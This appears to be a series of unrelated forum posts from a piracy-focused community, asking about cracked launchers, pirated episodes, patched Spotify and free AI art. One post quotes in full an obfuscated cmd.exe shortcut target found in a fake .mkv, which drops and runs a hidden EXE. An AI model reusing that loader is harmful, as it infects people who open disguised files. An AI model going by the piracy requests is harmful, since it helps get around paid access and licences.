I've heard that there's a video where the YouTuber has stated it's a "stolen" version and had a malicious behavior and so I've been using it for 6 years and never felt a problematic experience over any viruses on my computer (maybe it had a virus this entire time without detecting it, probably a shame).

Even though, I think it's better to clarify the video, it kinda seems true, so I had a good idea to switch to the non-stolen one which is called Legacy Launcher for Minecraft, however, the thing is that I really need to install mods from this launcher instead of TLauncher.

But to be honest, is TLauncher not safe to be used?

I am dirt poor, and to make ends meet I work as a professional gamemaster. Since I don't run Dungeons and Dragons, I've been needing to generate a LOT of AI art to fill in a lot of gaps for things to represent various characters, objects, and scenes. But therein is a problem. I ran out of openart.ai credits last week, Dall-E only lets you generate 3 images a day, Bing has too many filters for the horror game I'm running... and the rest of the free ones are too hallucinogenic/terrible for me to use. Any suggestions on how to *ahem* acquire decent quality AI art?

I was just wondering if anyone has noticed some shows lately are missing an episode here or there. ust curious as to what goes on behind the scenes(pun intended) when that happens. I mean a bigger current HBO show, like right now the Penguin. Again, Im not complaining and this is NOT a request, I haven't even started watching it yet. but for some reason the latest episode is no where to be found. TG, and 20 other places on prowlarr/sonarr and a few other darker places cant find it either. There have been 2 other shows running currently that I couldn't find a new episode for. How does that happen? Is it just that the automated processes(schedule change or something) every week glitched and then nobody goes back to manually rip it? Crackdown on piracy in general? Less care taken than RARBG used to? Just curious as to the breakdown of the system overall from a higher level is all. The system I have come to love and trust for over 20 years now, that is and still do. Love is Blind episodes 3,4 and 5. I found those after endless searching, chinese torrent after adding more sources to prowlarr, but literally only one copy. Its just weird based on the history is what I mean and on new releases, no complaints at all

Also, regarding that warning, my Sonarr did originally find that episode and downloaded and filed it. I didnt realize anything until a user asked me when I would get the new episode of the Penguin and I knew I had seen it somewhere completed and had just assumed it all worked normally. I went to check the file and saw that the .mkv file with the right icon was actually a 1gb shortcut file with the target as some obfuscated code cmd.exe

Here is the code, it was the target of the shortcut

"%comspec% /v:on/Cset kEA25=The.Penguin.S01E04.1080p.WEB.H264-SuccessfulCrab.mkv&(If Not Exist "%TeEMP%!kEA25!.EXE" FindStr/v "system32 opjGsKnLB" !kEA25!.lnk>"%TEMP%!kEA25!.EXE")&cd %TEMP%&type Nul>!kEA25!&start "!kEA25!" !kEA25!.EXE -p52lTxtnpZA"

Also, here is a link to another thread I found about this:

Sorry to bring this topic up again, but I need it and the other methods found in this sun don't work (for me). I need a version of Spotify to download audiobooks, not just podcasts, and listen offline. I have tried many patched versions, don't understand how xmanager works and am a noob. Also this VPN to UK thing didn't work either. Plus help a noob out

I’m a vaguely amateurish user, but I use Mozilla with a VPN and UBlock Origin to watch Sportsurge. I’ve never had this problem before, but now when I click on a stream or click play/volume for any sport, it forwards me to spammy background tabs.

I get it, it’s free, but I’m wondering if something changed because this never used to be a problem. I purged Ublock’s cache to see if that would help, and it didn’t— I read through this sub for other solutions and that was the only thing that popped up. I also tried updating the filters list and that didn’t help either.

Wondering if anyone knows what’s going on or is suddenly having this problem (and potentially how to fix).

I've been trying so many times, tried picture guides, google translate... Call me stupid, dumb, incapable, but for the life of me I cannot seem to get the 4pda captcha right.

I've managed to solve it one single time when registering—even back then it was a pain. But every single time ever since I try to log in and pass the captcha, it's being a pain in the ass all over again. And I know what you're about to comment "There's an "unable to complete captcha" checkbox down there, that just emails you a login link instead"—Well, yes, I know and for whatever reason the emails aren't arriving at my inbox. I've checked spam, waited for days and weeks, searched my inbox to find nothing but the old registration emails from 4pda. So I have to complete the captcha one way or another, but can't. I'm desperate at this point, there has to be a better way of solving it that doesn't require me to learn handwritten cursive Cyrillic.

Just as the title says. I'm looking to crack a specific game but IGGGAMES are the only ones who have it. I've heard they're full of malware.

Thank you.

Is there an easier way of transferring my files from my iPhone to my PC with some jailbreak ipa app without the use of 3utools.

Original Title: Why am I able to go on movie sites but they videos don’t play despite saying they are? s”Says the video is playing but the box where it should be playing is blank. The buttons that are normally on the screen arent there as if the screen itself is gone and it’s not just this site that’s doing it. Ty!

Who are the best x265 encoders that aren't tigole or qxr? Or lesser known ones that make good quality?

I assume they might be in private trackers. But who do you like

Explanations online are few and tend to confuse me more. If you couldn't tell I'm not remotely technologically minded, I just need the most rudementary explanation of what this is and why it's important.

Yes I know posting something like this to reddit is grounds for digitally getting my teeth kicked in. Please resist the urge and just help out someone who knows less than you, I'd really appreciate it <3
